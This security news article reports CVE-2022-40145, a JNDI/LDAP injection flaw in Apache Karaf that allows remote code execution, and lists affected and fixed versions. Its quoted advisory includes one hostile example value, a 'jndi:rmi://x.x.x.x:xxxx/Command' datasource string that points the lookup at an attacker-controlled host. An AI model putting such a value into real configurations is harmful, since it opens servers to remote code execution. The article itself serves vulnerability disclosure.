Skip to content
May 22, 2025
  • Linkedin
  • Twitter
  • Facebook
  • Youtube

Daily CyberSecurity

Primary Menu
  • Home
  • Cyber Security
  • Cybercriminals
  • Data Leak
  • Linux
  • Malware Attack
  • Open Source Tool
  • Technology
  • Vulnerability
  • Home
  • News
  • Vulnerability
  • CVE-2022-40145: Apache Karaf Remote Code Execution Vulnerability
  • Vulnerability

CVE-2022-40145: Apache Karaf Remote Code Execution Vulnerability

Ddos December 21, 2022 2 min read
CVE-2022-40145

Security researcher Xun Bai has found a remote code execution vulnerability in the popular Apache Karaf that could allow remote attackers to run malicious code on the affected systems.

Tracked as CVE-2022-40145, the vulnerability is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL.

Apache Karaf is a modulith runtime, supporting several frameworks and programming models (REST/API, web, spring boot, …). It provides turnkey features that you can directly leverage without effort, packaged as mutable or immutable applications.

Apache Karaf could allow a remote attacker to execute arbitrary code on the system, caused by an LDAP injection flaw in the jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) function. By sending a specially crafted request, an attacker could exploit this vulnerability to execute arbitrary code on the system.

“The method jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasourceuse uses InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, “osgi:” + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,”jndi:rmi://x.x.x.x:xxxx/Command”);` in JdbcLoginModuleTest#setup,” Apache Karaf wrote in its advisory.

“This is vulnerable to a remote code execution (RCE) attack when aconfiguration uses a JNDI LDAP data source URI when an attacker hascontrol of the target LDAP server.”

CVE-2022-40145 affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. Apache Karaf users are encouraged to upgrade to versions 4.3.8 or 4.4.2 or use the correct path to avoid possible exploitation.
Rate this post

Found this helpful?

If this article helped you, please share it with others who might benefit.

Tags: Apache Karaf CVE-2022-40145

Continue Reading

Previous: In a World of Frequent Data Breaches, Keep Your Company’s Data Safe
Next: BrokenFlow: invoke an encrypted shellcode

Search

💙 Support Us!
We need 50 contributors this month to keep this site running.
19 of 50 supporters this month
☕ Buy Me a Coffee PayPalDonate
Our Websites
  • Penetration Testing Tools
  • The Daily Information Technology
    • About SecurityOnline.info
    • Advertise on SecurityOnline.info
    • Contact

    When you purchase through links on our site, we may earn an affiliate commission. Here’s how it works

    • Disclaimer
    • Privacy Policy
    • DMCA NOTICE
    • Linkedin
    • Twitter
    • Facebook
    • Youtube
    Copyright © All rights reserved.
    x